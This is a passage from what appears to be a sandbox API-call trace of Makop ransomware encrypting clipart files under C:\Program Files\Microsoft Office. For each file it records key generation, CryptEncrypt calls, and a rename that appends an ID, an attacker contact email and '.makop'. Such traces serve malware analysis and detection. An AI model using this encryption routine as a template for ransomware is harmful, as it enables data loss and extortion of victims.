ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196142.WMF", cAlternateFileName="")) returned 1 [0128.888] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF") returned 63 [0128.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.889] GetProcessHeap () returned 0x48a0000 [0128.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.889] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.889] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.889] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0128.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.893] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.894] GetProcessHeap () returned 0x48a0000 [0128.894] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.894] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.894] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.894] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.894] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.895] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.895] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.895] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xef2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xef2, lpOverlapped=0x0) returned 1 [0128.896] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00, dwBufLen=0xf00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf00) returned 1 [0128.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf00, lpOverlapped=0x0) returned 1 [0128.896] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xfd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.896] SetEndOfFile (hFile=0xf0) returned 1 [0128.903] GetProcessHeap () returned 0x48a0000 [0128.903] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.903] GetProcessHeap () returned 0x48a0000 [0128.903] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.903] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.903] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196142.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196142.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.905] CloseHandle (hObject=0xf0) returned 1 [0128.905] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x739e4f00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x739e4f00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x3586, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196354.WMF", cAlternateFileName="")) returned 1 [0128.905] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0128.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.906] GetProcessHeap () returned 0x48a0000 [0128.906] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.906] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.907] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0128.911] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.911] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.911] GetProcessHeap () returned 0x48a0000 [0128.911] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.911] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.911] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.911] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.912] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.912] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.912] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.912] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.912] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.912] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3586, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3586, lpOverlapped=0x0) returned 1 [0128.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3590, dwBufLen=0x3590 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3590) returned 1 [0128.914] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3590, lpOverlapped=0x0) returned 1 [0128.915] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.915] SetEndOfFile (hFile=0xf0) returned 1 [0128.922] GetProcessHeap () returned 0x48a0000 [0128.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.922] GetProcessHeap () returned 0x48a0000 [0128.922] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.922] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.924] CloseHandle (hObject=0xf0) returned 1 [0128.924] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74cf7c00, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x74cf7c00, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x1b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196358.WMF", cAlternateFileName="")) returned 1 [0128.924] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0128.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.925] GetProcessHeap () returned 0x48a0000 [0128.925] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.925] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.926] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.926] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.926] GetProcessHeap () returned 0x48a0000 [0128.926] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.926] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.926] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.926] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.930] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.931] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.932] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.932] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1b00, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1b00, lpOverlapped=0x0) returned 1 [0128.935] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b00, dwBufLen=0x1b00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1b00) returned 1 [0128.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.935] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1b00, lpOverlapped=0x0) returned 1 [0128.935] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.936] SetEndOfFile (hFile=0xf0) returned 1 [0128.943] GetProcessHeap () returned 0x48a0000 [0128.943] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.943] GetProcessHeap () returned 0x48a0000 [0128.943] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.943] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.943] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.944] CloseHandle (hObject=0xf0) returned 1 [0128.945] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78630300, ftCreationTime.dwHighDateTime=0x1be390f, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78630300, ftLastWriteTime.dwHighDateTime=0x1be390f, nFileSizeHigh=0x0, nFileSizeLow=0x164c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0196364.WMF", cAlternateFileName="")) returned 1 [0128.945] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF") returned 63 [0128.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0128.948] GetProcessHeap () returned 0x48a0000 [0128.948] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0128.948] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0128.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0128.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.952] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.952] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.952] GetProcessHeap () returned 0x48a0000 [0128.952] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0128.952] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0128.952] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.952] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0128.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0128.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0128.953] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0128.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0128.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0128.953] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0128.953] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0128.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.954] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x164c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x164c, lpOverlapped=0x0) returned 1 [0128.955] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1650, dwBufLen=0x1650 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1650) returned 1 [0128.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1650, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1650, lpOverlapped=0x0) returned 1 [0128.956] CryptDestroyKey (hKey=0x48c7128) returned 1 [0128.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.956] SetEndOfFile (hFile=0xf0) returned 1 [0128.963] GetProcessHeap () returned 0x48a0000 [0128.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0128.963] GetProcessHeap () returned 0x48a0000 [0128.963] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0128.963] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0128.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196364.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196364.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0128.965] CloseHandle (hObject=0xf0) 